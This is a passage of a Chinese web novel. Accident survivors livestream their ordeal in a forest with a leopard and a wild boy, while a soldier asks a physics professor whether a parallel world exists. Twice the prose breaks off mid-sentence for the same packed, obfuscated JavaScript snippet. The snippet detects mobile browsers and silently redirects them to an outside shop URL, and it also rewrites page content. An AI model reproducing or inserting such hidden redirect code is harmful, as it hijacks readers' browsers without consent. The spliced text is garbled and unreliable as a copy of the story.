李夏见大家一个个抱着双臂,后知后觉地说:“哎呀!我忘了,书上讲这种情况要抱团取暖。” 昨天在众目睽睽之下没好意思紧挨着睡的吕容和阿强都暗自后悔。 王大栋看了看车厢说:“那今天就把中间的椅子都卸了,晚上大家都睡车厢。” 李夏说:“男的一边女的一边,中间是一对小情侣。” 王大栋呵呵笑了,喇嘛多杰莫名其妙。 李夏看手机:“我的手机怎么没充满电?” 王大栋说:“哦?那得我赶快打火给电瓶充充电,你们现在先都拔了电,引擎跑会儿你们再充,不然电池没电,日后没法启动了。” 大家都拔了手机充电,王大栋坐到司机座上,一下子打火,汽车的发动机启动,他大叹口气:“吓了我一跳,我真怕打不着呢……”话音没落,就听车底咚地一声,王大栋忙往外看,大叫:“是豹子!刚从车底下窜出去!” 人们都往车外看,见一道黑影一下消失在了树丛间。 李夏拍胸口:“司机大哥!幸亏你发动了车,不然我们一会儿出去,那豹子从车底下不一下就能叼个人?” 吕容捂脸:“姐别说了,吓人啊!” 喇嘛多杰在车窗处往外看,嘴里嘀咕着藏语。 王大栋让车热了半天,跟大家说可以充电了,现在什么都比不上手机的重要,人们纷纷插了电。王大栋忧虑地说:“不知道能给多少手机充多久。” 李夏说:“书上说如果你知道你蓄电池的数据,大概能算出来。” 王大栋伸手打开个小抽屉,在里面找使用手册,嘟囔着:“我从来不看那些东西,会读书就好啊。”说完就把册子扔给了李夏。 李夏:…… 她暗骂自己多嘴,只好找到了小公共汽车的蓄电池数据,再到上网查怎么算…… 结果就是这个小公共汽车可以给大家的五台手机都充满电还不会枯竭。 知道了这个消息人们都很高兴,因为发动机开着,车里也暖和了些。但大家觉得这样太浪费了,都同意现在只充十五分钟,等到晚上临睡前,司机打火热热车子,也正好充电。 王大栋熄了火,人们相互比较充电量。李夏庆幸自己的OPPO手机,十五分钟就充满了。吕容用的是有些过时的小米,但充电也算快。最懊恼的是秦莉,苹果机充得特别慢。喇嘛多杰的旧手机也没充上多少。 此时天大亮了,大家需要去溪边方便。一回生二回熟,今天多少比昨天自然些。 秦莉抱着女儿,想说服一直抱着长耳兔的何萱把兔子放在车里,可是何萱嗯嗯着抱得更紧了。秦莉皱了眉头,李夏喜欢这个就开口叫了妈妈也一直没怎么说话的小女孩,就说:“孩子需要有陪伴感,额,书上说的。”秦莉叹气:“一会儿别掉水里。” 何萱抱着兔子摇头。 王大栋开门放大家下了车,自己跳下去。因为被豹子吓到,他急忙跑回集体中,从阿强手里拿过铁锹。李夏提着塑料桶,其他人拿棍子的,拿石头的,把抱着孩子的秦莉围在中间,浩浩荡荡地往溪边走去。 到了溪水边,李夏先把塑料桶装满了水,因为知道溪水也不见得干净,大家都不敢用溪水漱口。 太阳升起,阳光洒在流淌的溪水上化成跳跃的光点,山林的青翠中隐隐显出了几许初秋的黄色,如此美景大家都在围着行厕之人时被迫欣赏到了。 有的人越紧张就越没有,但必须有!所以有时一个人需要十几分钟! 等到每个人都完成了,太阳已经升得老高了。 人们都暗松口气往回走,路中被秦莉抱着的何萱忽然扭头往回看,秦莉小声说:“你别乱动!” 王大栋紧张地说:“不是豹子吧?!” 人们都往那个方向看,树枝动弹,可没有豹子。 秦莉问女儿:“你看见什么了?” 何萱张张嘴,秦莉忙问:“是豹子吗?” 何萱昨天看到了豹子,马上摇头。人们松口气,加快了脚步。 王大栋上车开了车门,秦莉头一个把女儿推上了车,自己回身说:“我和你们一起干活吧。” 李夏想了想说:“你还是在车上吧,帮着司机大哥卸椅子,这样晚上我们能睡觉。” 秦莉这才上了车。 李夏看了看时间,问吕容和阿强:“快直播了吗?” 吕容点头,李夏说:“我和喇嘛多杰去烧水,你们就在我旁边直播,如果豹子来了你们也可帮个忙。” 两个人都点头。 李夏昨天就是管烧水的,今天是重复工作。她去收集了水壶,放在脚边,王大栋在石头灶上放小盆点了火,李夏在一边添树枝,喇嘛多杰在附近捡枝子。 王大栋回了汽车,把司机的门开着,自己从工具箱里拿出了扳手什么的,跪在地上开始卸椅子,秦莉在一边帮着递个东西或者收集螺帽。王大栋说:“这些可都得存好,别丢了!”虽然不知道什么时候还能把椅子安回去,但人要有希望! 吕容和阿强就站在李夏旁的车前,阿强把铁锹夹在腋下,开了手机准备直播。他惊讶地看手机,又让吕容看,吕容惊呼:“上万了?!” 李夏探头:“粉丝量?” 吕容点头:“昨天我们才三千。” 李夏笑着说:“你红啦。” 吕容有些惆怅:“也不算红吧,这有什么用呢?” 李夏给她打气:“肯定有用啊!人多力量大,能帮到我们!” 吕容深吸气,把手机交给阿强:“好,我们开始吧。” 陆锐在平时军营出操的时间醒来。父母都还没有起身,他悄悄地出了门,在大院旁的豆浆店吃了早餐,然后就叫了车往T大学去了。 也幸亏他早早就出门了,中间还是堵了会儿车,到了物理系教授的办公室才提前了十来分钟。他敲了敲门,没人开,走廊里没人,教授该是没来。陆锐站在门边,他没等多久,走廊处就出现了一个步履缓慢的矮胖身影。 老人走到陆锐面前笑着说:“是陆锐吗?”陆锐习惯性地举手想行军礼,但意识到自己是便衣,忙鞠了一躬:“韩教授好。” 韩教授拿出钥匙开门:“进来吧进来吧!” 门一开,窗口的阳光照亮了满壁的书架和上面紧密的书籍,办公桌上有台式电脑的屏幕,但也到处是书和纸张。 韩教授胖胖的身体有些笨拙地闪避开了地上成堆的书,坐到了办公桌后面,同时示意陆锐桌子前面一张孤零零的木头椅子:“请坐请坐,我十点半有课,你不要客气。” 陆锐闻言立刻坐下开口就问:“韩教授,有异时空的存在吗?” 韩教授呵呵一笑:“这个问题很好,是许多人,包括顶级的物理学家都问过的。答案是:没有,但是有可能。” 陆锐眨眼,韩教授选择词句,怎么才能向一个普通人讲解这么精深的问题:“简单来说,物理学是需要能够在理论上提供规律并能预见结果,比如使用某个公式,就能计算出物质的运动轨迹。In several interpretations of quantum mechanics, like the Many-Worlds interpretation and the Pilot Wave theory, the universe can be described by a single giant equation, known as a quantum wavefunction. Any time a quantum or subatomic process occurs anywhere in the universe, this wavefunction splits in two, meaning parallel universes are constantly created.……” 陆锐的英文还不够理解这些,但韩教授好像没发现自己开始说英语了,很忘情地举起手比划。 陆锐只好打断:“对不起韩教授,我这里有件事情想请教您。” 韩教授停下,眨了下眼睛,大概意识到自己讲了英文,对方肯定没听懂,多少有些抱歉地看陆锐,带着那种“好吧好吧,你来讲”的纵容表情。 陆锐拿出手机开始讲述:“昨天发生了一件事,我的一位战友的妻女在车祸后到了一个地方,有手机信号,但却没有等到救援人员……” 要让韩教授了解这件事的真实性,陆锐就得从头说起。 他说完,解释了手机里的视频和照片,把手机递给了韩教授。 韩教授看完,紧皱着眉头,抬眼看陆锐:“单凭这些和你一人之言……” 陆锐忽然想起来,忙说:“这里面其中一人十点有直播,我们可以看看。哦,您有课,可以看直播回放。” 韩教授听了,从衣兜里拿出了手机,拨通后说:“我今天十点半的课不去上了,你去讲,要是备课不足,就给个小测验!surprise quiz。用教科书附赠的教师用书里的题就行,考三到六章的内容。”说完就挂了,指了下对面的墙说:“我这里有投影仪,可以投影。” 陆锐扭头,发现身后的墙壁白惨惨的,没有书架,就忙用手机连接投影仪。 安排好后投影出现,离直播还有几分钟,直播室里已经弹幕纷纷了: 我去那个杂志社门前啦,李夏是记者!出差未回! 我看了高德地图,她说的那个地方根本没有溪水好不好? 我跟你们说,我做梦梦见小仙子了!她可美了! 我问了我动物园的朋友,他说那豹子是中华豹,一般在深山才有。 上网去查查,豹子可是重点保护物种,前几年被撞死了一只,就上了新闻。这些人训练豹子直播,非法的吧? 既然能被撞死,那豹子就可能被她们碰上啊,她们不就还在这个时空吗? …… 一个小姑娘只涂了些口红的素容面庞出现在直播间,她努力笑着:“家人们!见到你们真太好了。” 弹幕突然暴涨: 小仙子!你们该还是在这里,因为这里也有豹子! 你们又见到豹子了吗? 小仙子!我梦见你了!你是个小仙女! 我仔细看了昨天的直播回放,真发现了一种可以吃的植物,叫虎耳草!能解毒凉血…… 阿强看到,将手机转成了前置,端到吕容面前让她看。 吕容真的笑了:“太谢谢了!家人们,老铁们!现在请大家看看我们周围。记者姐又在烧水了,我们昨天每人都有水,可后来就是临睡前分了一点喇嘛多杰的糌粑……” 弹幕: 小仙女,加油! 你们真欺负人! 就是!为什么拿了僧人的食物? 吕容见了忙说:“哦,我们所有的食物都统一管理了,先要紧着那位小孩,记者姐说人不吃饭能活三个星期,但愿我们在这三个星期内能找到食物。” 弹幕: 不会吧!救援一定会到的! 就是啊!那豹子就是本土的! 拜托!不要这么戏剧化。 大人都死了孩子还能活?我觉得该先保住大人。 听她的,都是在做戏。 那你们也不该先吃僧人的食物!欺负人家! 你们该供僧,懂吗? 小仙女!希望你们走好运! …… 吕容按了按钮,把手机屏幕转给阿强——她不想看弹幕了,影响她的情绪。她也不卖东西,就不用管粉丝数量了,从此放飞自我,愿意说什么就说什么。 她指着不远处弯腰拣树枝的喇嘛多杰:“喇嘛多杰在拣枝子烧水,他总是在唱歌。” 阿强拍摄喇嘛多杰,果然听到喇嘛多杰在哼唱着。 弹幕: 那不是歌,那是咒吧? 对,是xxxx咒。 没文化真可怕。 真好听! 我觉得想哭是怎么回事? 假的! …… 阿强移动手机,吕容见状忙随着阿强的动作指着前方的树林灌木说:“大家再帮我们好好看看这些,有没有能吃的果实或者叶子,另外地上的也别漏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338294|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,说不定有山药土豆什么的……” 弹幕: 土豆是什么时候进口的? 这里要是发现了土豆那肯定是作假啦! 喂喂,慢一点,让我好好看看! …… 阿强端着手机,缓慢地拍过面前的植物,突然,他停下了,吕容还没意识到,尚且在说:“如果有老铁知道怎么设陷阱就好啦,可以告诉我们在哪里合适……”她发现阿强没有动弹,顺着阿强的手机向旁边看去,也惊呆了。 直播间里弹幕快疯了: 那是什么?! 假的!豹子玩完了,又出新花样! 是什么是什么? …… 李夏也看过去,喇嘛直起身,忘记了唱诵。 汽车侧后方走过来一个男孩,也就八九岁的样子,上身赤裸,瘦得露出排骨,中间围了块布,两条腿也是赤裸着,满是泥土。他头发蓬乱,脸黑脸瘦得像个骷髅头,但眉毛末端飞扬挑起,眼神锃亮。他一手提着把前面带钩一尺多长的刀,另一只手被身体挡住,好像提着什么。他都没看在车前面的几个人,只盯着汽车靠后的一个窗户。大家随着他的目光望去,见小女孩正扒在窗口处,露出穿着粉色夹克的半身还有个长耳兔玩偶的头。阿强的手机稍微移动,直播间的人也看到男孩在看什么。 弹幕如飞: 他在看小女孩! 无耻!拿小孩做戏! 这是个狼孩吗?穿成这样! 是个野人吧,拿着的那是刀吗? 是柴刀的样子。 是道具吧? 不会是古代吧?柴刀的样子几百年都没变过。 …… 现在阿强也顾不上看弹幕了,一手举着手机杆,一手悄悄握住了腋下的铁锹把。 男孩走到车窗下,没有提刀的那只手举起,人们这才看清了,他提着……一只兔子!被拎着耳朵的兔子还无力地蹬了蹬腿。 弹幕: 啊啊啊啊! 哇,霸气侧泄! 这是摆拍! 天哪!这是真人吗? 不要写这种剧情!他才几岁?! 摆拍!无耻! 你们胡说八道什么!那是我的亲人!她们回不来了啊!不是摆拍! 托儿!无耻! 拿孩子当演员!你们都不让人家穿衣服吗?投诉! 小仙女!他是谁啊? 这是什么破剧本? 不是直播吗?怎么成短剧了? …… 不说直播间里的哗然,车前边李夏的眼睛先亮了。可车窗里的小女孩像是所有被很好地教导过的孩子一样,对着小男孩礼貌地微笑,然后摇了摇头——不要拿陌生人的东西! 吕容也发现了,急得小声说:“点头啊!孩子点头啊。” 男孩看到拒绝,有些丧气地垂下了手臂,刚才的气势没了,转身就要走,李夏忙说:“那个(完了,我真学到了喇嘛的口头语),对不起,我们能买你的兔子吗?” 弹幕比李夏的反应快: 买?看看!露馅了吧?摆拍! 就看男孩收不收钱。 这剧本也太次了吧?差评! 现在的短剧已经拍成这样没水平了? 拙劣的小视频短剧! 这些演员是路边拉的吧? 果然生活的尽头是童话故事。 小男孩看着很失望啊!桑心。 摆拍!太假! 小仙女!你快说话呀! …… 李夏也回过味儿来了——拿什么买?她对着开的门里喊:“秦莉,拿点吃的或者好东西来,我们交换下。” 王大栋正好在前排位置,马上在门口探身,“交换什么?”李夏对他示意停了脚步看向他们的男孩,王大栋脱口一句方言:“俺的个娘嘞!”男孩盯着他。 王大栋觉得自己是这几个男子里的第一主力了。讲真,他认为这帮人是妥妥的一群废物,包括他自己:一个在家四体不勤五谷不分的懒惰青年,终于当了两年司机,平时根本不管修车保养,什么都得靠着师傅——他舅。可其他人就更别提了:一个挺会唱歌的僧人,自然别指望他打斗什么,对着豹子也只是扯了嗓子使劲唱;一个想当画家的瘦小鸡子(这种人都有女朋友了,俺却没有);一个高大个子的女的,瘦长无力,是个正经读书人,但一看就是不会干活的;一个眼瞎看上个没钱没地就会举着个手机杆的矮个子、而她自己也是个风一来就会被吹跑的个子更矮的女网播;一个爱哭的妈妈带着个才开口说话的孩子…… 处在这么一帮人里,凡事他不就得挺身而出吗?王大栋忙跳下了车,问李夏:“这……这是……” 李夏看到男孩还在看王大栋,忙说:“你说河南话,跟他说我们想换那个兔子。”秦莉也听到了话语,到了车前面往外看,同样吃了一惊,但马上回身打开背包,挑拣里面的食物。在稀少的食物中,她拿起了包方便面,迟疑了下,暗骂自己黑心肝,这就想换人家一只兔子!就又挑了几块零食,拿了一小瓶酸奶饮料,扭头对女儿说:“你好好在这里待着,别下车!” 小女孩扭脸对妈妈点头。秦莉捧着一包方便面和几个花花绿绿的小食品还有饮料从司机座上艰难地跳下来,王大栋比划着,指指秦莉手中的东西,再指指男孩手里提的兔子。 男孩把兔子向他一送,王大栋刚要伸手,觉得不该欺负小孩子,就从秦莉手中接过一捧东西,递给男孩子。 直播间里的弹幕再次膨胀: 小心啊!他有刀,你一过去他就砍死你!还拿了那些吃的! 他就是一个小孩子,可怜见的,衣服都没有。 摆拍!你们还当真了!一群傻。 就你傻! 但这些人的确一副白痴的样子,不是有铁锹吗?先一锹把人拍死,兔子有了,也不用浪费自己的食品! 就说他们傻! 所以说整个事情就是假的,真没吃的了,看到食物还不跟饿狼一样?还用这么假惺惺地要交换? 是啊!那边还有刀,这几个人不怕被砍死? 假的!傻子剧本! 小仙子!当心! …… 8. 第 8 章 阿强看着手机上的话,手攥着铁锹把,可是没有动。 在那个境界中,他见到那些他平时只是在书中和视频里知道名字的中外画家们,虽然他们头上没有名字,而且都异常英俊或者漂亮,但他就是知道他们是谁。他们在最美丽的花园里讨论着绘画、雕塑,他还问了几个问题,都被详细地回答了,虽然是无言的交流,但意思比语言更快更详尽。一个他崇拜的艺术家伸手触了他头顶一下:“你有爱美之心,能成大画家。”…… 爱美的人不会拿铁锹打个给小女孩送兔子的小男孩,那样……不美好。死亡如果是回到了那些画家们的所在,他可以任小男孩为所欲为。 阿强眼睛还是看着手机,把铁锹递给了旁边的李夏。 李夏看到了手机上的弹幕……这是想让我下手杀人? 李夏想起自己的大愿——世界和平!这肯定不包括拿铁锹拍人吧?还是对方没有动手之前?昨天她还想到要好好做事做人,那算是小愿吧?也不能随意挥锹吧?万一对方没有坏心,错杀后那自己的大愿小愿全玩完了。而且自己连铅球都推不远,这挥锹…… 李夏正在权衡中迟疑,恍惚之间,见男孩背后雄踞着个大老虎,比成人都高,但一眨眼又没了。这是不是表示她想打也打不过?李夏就选择了躺平……哦不,和平!——反正那个男孩子眼睛明亮干净,不像是有坏心。 李夏接了铁锹站着也没动。 男孩看着王大栋手里花花绿绿的东西,犹豫了片刻,扭头看车窗的小女孩。小女孩笑了,点点头,指指自己嘴,又指指男孩——那些都是她的吃的,她可以分享。她过去一直不说话,就是靠这些表达的。 男孩想了想,将手里的柴刀把夹在腋下,腾出一只手挑了个很小的——这些看着都很贵的,拿个小的吧。于是,他一手拿着糖,腋下夹着柴刀,一手提着兔子…… 手机屏上飞过人们的发言: 这个时候快夺刀啊! 对,他手里没有握刀! 这帮傻人!先下手为强! 这个时候不夺刀,以后被他杀时就后悔啦! …… 李夏看着弹幕,不是没有些担忧的,但她已经做了决定,就继续犯懒。 有时决定未来生死的一刻,可能是摆烂。 男孩再次把兔子递过来,王大栋回头看,发现身后的人都没有一个人伸手接兔子,心中暗叹了下这帮猪队友。他将食物捧还给秦莉,伸出手接过兔子耳朵,刚刚握紧,兔子使劲蹬腿……王大栋就大叫起来:“啊——!” 阿强吓得一哆嗦,吕容问:“大哥怎么了?” 王大栋皱着眉鼻涕要出来的样子:“是活的啊!是活的!它在动!俺害怕!恁们谁来接过去!” 李夏又没有动手——兔子看着挺脏的。 吕容暼着阿强,见阿强没动,小声说:“我也不想拿。”拿了是不是就得杀兔子啊,虽然自己在家杀过鸡,但没弄过兔子,这时候别逞强,有阿强看着多不好意思…… 喇嘛多杰双手合十又开始唱了。 秦莉看着手里的东西,低声说:“他只拿了块糖。” 李夏见没人接兔子,就对王大栋说:“你先使劲捏住,别放跑了,我们……找找刀什么的。” 王大栋说:“我的工具箱里有工具刀,你来拿着兔子,我去拿刀!” 李夏说:“还是我去拿刀吧,你等一下。”说完她把手里铁锹……犹豫片刻——在闭着眼睛唱的喇嘛和吕容之间……给了跟铁锹差不多高的吕容。 李夏爬上了车,把捧着吃的秦莉也拉了上来。李夏在工具箱里找到了把折叠刀,这期间王大栋不叫了,可见习惯就好。 秦莉放回零食,拿出了一把水果刀,对李夏说:“我也有把水果刀。” 李夏叹气:“我也有,关键不是刀,是能用刀的人。” 秦莉点头:记者就是不一样!这是武侠小说里的话吧? 李夏下车把刀递向王大栋,王大栋空着的手挥舞:“俺不会宰活物嘞!恁们谁动手啊。” 他急了之后就完全是河南话了。 直播间里的弹幕滚动: 一看就是没有被饿到! 一群没用的! 喷子!你们才没用! 你们谁宰过活物?这些人没干过。 小仙女怎么能杀兔子?! 兔子好可怜!不吃行吗? 假惺惺! 不吃就饿死呗! 演员!摆拍! 没干过可以学呀! 你们又当真了!跟你们说这是演的! 不是吧?我觉得挺真实的,反正我不会杀鱼杀鸡。 不杀就会死你就会杀了,人急了能吃人呢。 你是没进化吧?还吃人?你哪儿的? 李桥镇的张玉玲,我可以为你杀鱼杀鸡! 看清楚!这是杀兔子! 别管他!恋爱脑从来不读题。 他才不是恋爱脑,是精算脑吧。 …… 但现在谁都不管弹幕了,关键是谁能收拾了这只兔子给大家吃! 李夏想以身作则一下,拿着刀比划:“王大哥你把兔子按在地上吧,然后我把刀给你……” 王大栋大喊:“俺不按!俺也不要刀!俺爷俺奶说俺是个好孩子……” 小男孩刚要把手里的东西往嘴里放,何萱拍车窗,外面其实听不见声音,但小男孩却抬头看,何萱用手做了个剥纸的动作,小男孩竟然懂了,手指一下就捻开了塑料纸,把里面的东西放入了口中,如此的甜!他紧张得都不敢碰嘴里的糖块,只虚虚地噙在舌尖。甜中有股香味儿……这就是小仙女吃的东西啊!他去看车窗里的小女孩,小女孩对着他又笑了,还摆了摆小手。 小男孩有种想哭的感觉,眼泪要出来了,忙扭开头不看小仙女。他早上从一群人中间看到这位小仙女,小仙女穿着粉色的衣服手里抱着个假兔子,她也发现了树丛中的他,还扭头一直看他。但那时小男孩觉得自己没有拿得出手的东西,就没有上前——那些偶尔来见和尚爷爷的人不是给袋干粮就是给些干菜,从来没人空手,自己不拿礼物怎么去见小仙女?小仙女抱着个兔子,那她该喜欢兔子吧?这还不容易,他知道山里哪儿有兔子,好几窝呢,想吃的时候就拿烟熏出来一只…… 可惜小仙女不想要,好在这些大人想要……他看向正在对着兔子束手无策的几个人,听着这些人古怪的口音和一个与他说话相似人们的谈话,很快就明白了:这些人是不会宰杀兔子吧?马上他就理解了:既然是跟小仙女在一起的,那这些也都是仙人。仙人当然不会杀兔子!他上去一把就从王大栋手里夺过兔子,转身往溪水那边跑。 人们一愣——这是到手的兔子飞了? 好在李夏发现小男孩是在顺着车辗出的道路跑,没有消失在树丛里,忙说道:“他大概是给我们去收拾兔子了,赶快跟上,告诉他……那啥!”在溪水边是大便厕所!就是水一直流,真在那里洗了兔子……现代人是有心理洁癖的! 王大栋听了,从吕容手里拿了铁锹就跟着跑了过去,阿强也举着手机往那边走,喇嘛多杰停了唱诵,笑着说:“那个,小孩子,很好!不用,那个,着急。”然后走开去继续捡树枝。 李夏觉得多杰再次印证了自己的感觉,她就不担心了。她发现小盆里的水开了,倒入瓶中又烧了一盆,趁着这空挡也去捡些枝子——一会儿不仅要烧水也要烤兔子,自然要多捡些。 多杰重新哼唱,吕容追出几步喊:“阿强,回来吧,万一有豹子呢?”她话音未落,听了她的话转身的阿强手指着多杰:“喇嘛小心!” 吕容也回头,惊叫了一声就捂了嘴,李夏心脏一缩!完了!豹子肯定又来了! 果然,余光里她见到一条黄黑影子走到了多杰附近,李夏以为多杰又要唱了,可是多杰直起身,手激烈快速地指点着豹子,带着愤怒开始大声说话! 李夏:…… 直播间里众人又沸腾了: 是豹子!又来啦! 这是第三次去找喇嘛!这是想吃唐僧肉? 喇嘛好勇敢! 摆拍! 有没有人会藏语?翻译一下。 录屏录屏,然后翻译。 …… 李夏急忙看地找石头,怕豹子会猛地扑倒多杰,自己至少能扔出块石头。在多杰的大声叫嚷中,豹子低吼了几声,吓得李夏手都软了,正担心自己连石头都捡不起来,豹子突然往后退了几步,趴在了地上。 李夏再次:…… 直播间里: 啊啊啊啊! 摆拍!摆拍!我说了,摆拍! 不会吧?豹子怕了? 豹子怎么会怕? 怎么不会怕?孙悟空都怕唐僧念经呢! 那是因为有紧箍咒! 你怎么知道僧人没有无形的紧箍咒? 大概是被讲法了。我跟你们说,法有力量。 假的!都是在做戏! 别演了!露馅了吧?租的豹子! 我翻译了他说的话,大意就是不懂事、不听话、不长记性外加些佛经里说畜生道怎么苦之类的。 这些是骂人好不好,骂豹子有用吗? 李桥镇的张玉玲啊! …… 多杰见豹子趴下才停了说话,扭头对李夏、吕容还有举着手机杆慢慢走近的阿强喘着气摆手说:“你们怕,那个,上车,我,那个,不怕它!” 李夏走到水将要开的水盆边,示意吕容和阿强上车,吕容和阿强两个人在李夏身边站了,但没有上车,大概是想给喇嘛些精神支持!阿强坚持拍摄,吕容吓得话都说不出来了,张着嘴一手握着阿强的胳膊。 李夏对喇嘛说道:“你也过来吧。” 多杰摇头笑:“不用,我,那个,骂它了,它说那个,不捣乱了……”他看向天空,走到在一片空地上开始大礼拜。豹子看着他,把头放在了前爪上。 李夏怔怔地看了会儿多杰,又看了眼豹子,想起举起兔子的小男孩……心忽然放下了。 但直播间里人们依然在热议着: 它说?谁说的?豹子吗?我怎么没听见! 这是捣乱的问题吗?是吃人吧? 摆拍!拿观众当傻子!傻子剧本! 这不科学! PS保佑! 这表示有保佑?谁看见了? 要看事好不好?看现实就知道有没有保佑! 现实不就是这些人没有救援吗? 没有救援可现在没死吧? 演的!你们还在这里瞎啰嗦! 小仙子,你跟我们讲实话,这是真的吗?我们从一开始就粉了你,别骗我们! 快让我们再看看喇嘛! …… 阿强将手机在豹子和多杰间来回转,偶尔也让大家看看正在烧的水。 多杰做完了大礼拜,长出口气,拿出手机兴高采烈地说话,然后听了一会儿,脸色明显平静了,后来又开始点头哈腰,最后小心地收了手机。 吕容小声说:“我觉得他又被他的上师说了。” 弹幕: 他上师是不是就像他骂豹子那样骂他的? 可怜的孩子! 上师如父,藏族人对待父母那是很尊敬的! 我觉得他上师太严厉了,他刚刚降服了豹子好不好?该表扬的! 你们都上当了!这是摆拍!要说多少遍! 摆拍你还看?你傻呀! 就当是短剧看呗,解解闷。 解闷就别多嘴!我可觉得是真的。 只许你认真,别人就不能说假啦? 快关车门啊!豹子现在只是不饿,一会儿会暴起伤人的! 你看,又有个上当的! 喂喂,那个男孩去哪儿了?不是杀了那个司机不回来了吧? 就是,抢了兔子还得了吃的,那孩子聪明,这些人真笨! 对!又笨又傻! 愚蠢! 你眼中的别人才是你自己! 摆拍! 李桥镇的张玉玲!你在吗?在就是说一声。 一声! …… 阿强调成前置镜头,让吕容看画面,手指点了下电池显示。吕容堆出笑容,努力提气开口:“家人们,老铁们,我们的电池快没了。昨天我们用完了充电宝,以后要靠汽车充电了。本来下午还有直播,可现在电量不够,我们只能保证每天上午的直播啦。”她无视如雪的弹幕,又说道:“哦,我的微信群号是xxx,老铁们如果有资料和建议,可以发到群里哈,谢谢家人们老铁们的支持。我们明天再见了。” 弹幕上一片: 小仙子,明天见! 别理那些人,我们喜欢你! 明天一定再见!等待更新! 加油加油! 好运! 平安! …… 阿强退出直播间,吕容双手握了阿强的胳膊,两个人继续盯着豹子。 车里秦莉和小女孩也都在车窗前往外看着。 李夏倒是放松了,见水开了,忙灌水瓶再烧水。 吕容看了会儿,见豹子没动,终于放下肩膀,虚弱地对阿强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338295|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“吓死我了。” 阿强摇头说:“没事了。” 车上,小女孩嗯嗯地指着远处,秦莉说:“要说话,宝贝儿。” 小女孩眨眼想了想,想起了词儿:“虎虎。” 秦莉吓了一跳,忙看去,见是王大栋和小男孩回来了。秦莉笑着说:“那不是老虎,是王叔叔和小哥哥。” 小女孩微笑。 陆锐退出直播间,关了投影仪,将手机静音,扭身看韩教授:“您看,这是真的吗?” 韩教授双手十指交叉地放在隆起的腹部,微微沉吟。 陆锐手机震动,他垂眼一看显示是何牧,就划了拒绝,但发了个“我现在无法接听”的短信。 韩教授问道:“那个小女孩是你战友的女儿?不是演员?你的战友没有骗你?” 想起何牧的疯狂,陆锐坚定地说:“我的战友没有骗我。他非常宝贝他的女儿,不会让一个三四岁的孩子落到有豹子的地方,他昨天说请假去出事的地方,刚才那个电话就是他打的。” 韩教授点了下头:“你问问他到了吗?” 陆锐回拨何牧的电话,放了免提,刚接通,何牧就在电话里大喊:“你看了直播了吗?那些人说是演的!那只豹子又出现了!我不信僧人降服了它,它现在就是还不饿,我让他们关车门他们不听我的!……” 陆锐打断他:“你到了出事的地方了吗?” 何牧说:“到了!车子滑出公路然后冲下山坡的痕迹清清楚楚!一直到山岩边,可下面什么都没有!我下了石岩一直走到山下了,一路什么都没有!……” 韩教授说:“你跟他说让人保护现场!任何痕迹都不能破坏!” 陆锐说:“这是T大学的物理系韩教授,他说要保护现场。” 何牧说:“你真的找到科学家啦!你快找上面的人来啊!这里没人听我的,他们好像觉得我疯了。我又不能穿军装,他们不理我。” 韩教授说:“我这就去找系主任,让系里发公函,你发给你这位战友一个电子版,让他们务必要保护现场!不然日后无法计算受力和速度等数据。” 何牧嗷嗷叫:“我去跟他们说!”他挂了电话。 韩教授起身,努力地在书堆间挪动身体,说道:“你随我去见系主任,昨天是谁给你约的?就说你是军委派来的。” 这样不好吧?陆锐怕自己这么说了会成个坑爹二代。 陆锐有些担忧地随着韩教授一路疾走,到了一个办公室,韩教授象征性地敲了一下门,猛地就推开进去了。里面比韩教授的办公室大了许多,没都塞满书籍,办公桌也长了一倍,此时三个人正围坐在桌子旁边,一个中年人带着些惊愕笑着说:“韩教授?” 韩教授挥舞着肥胖的右手有些喘息地说:“我要出差,马上,去那个出事地点,具体让他来跟你说,我现在去准备仪器,大概要带五到十个人,你让秘书等我助手给你名字,快点订票!”说完就要转身走,可又急切地加了一句:“赶快写封公函,让当地保护出事地的现场痕迹,这位小战士会转给他在那儿的战友……”话音未落,人就出了门,留下陆锐面对目瞪口呆的三个人。 其中一个四十来岁的人干笑:“韩教授回国快二十年了,还没这么急过。”他笑着对陆锐介绍第一位开口的中年人说:“这位就是我们物理系的系主任高翔高主任。” 陆锐暗喜韩教授没说自己是军委来的,免去了日后顺藤摸瓜把他老爸给他请假的事揪出来,小战士就小战士吧,陆锐心境稳定了,忙说:“高主任好,我叫陆锐。事情是这样的……”他有条不紊地把这事从头讲了一遍,还推荐了旅游小仙子的直播,建议大家可以去看回放。 高主任想了想,说道:“外行人不知深浅,这可是惊天动地的大课题。当然,不排除韩教授上当的可能,万一……”方才干笑的人说:“主任,韩教授这个人,为人处事有种学者的……纯粹!我陪着他去吧。” 陆锐见此人一脸干瘦,面颊笑纹深刻,与胖胖憨憨的韩教授完全相反,心中就告诫自己千万别多话,以免让这个人发现自己的出身和弱处。 高主任缓缓点头:“你是副主任,完全可以代表我们物理系的立场,到那里要配合韩教授的工作,但如果发现韩教授是被骗了,也要及时止损,为我们物理系挽回声誉。” 那人起身:“放心吧主任,我随时会向您汇报的!”他转身向陆锐伸出手:“小同志,我叫陈廷宜。” 陆锐忙回握:“陈副主任,我叫陆锐。” 陈廷宜笑着:“小陆同志你随我来,我去出公函。”他转身向桌子后面的中年人告别:“主任,回见。”主任沉思着点头,陆锐离开时听见高主任说:“我们来看看那个直播……” 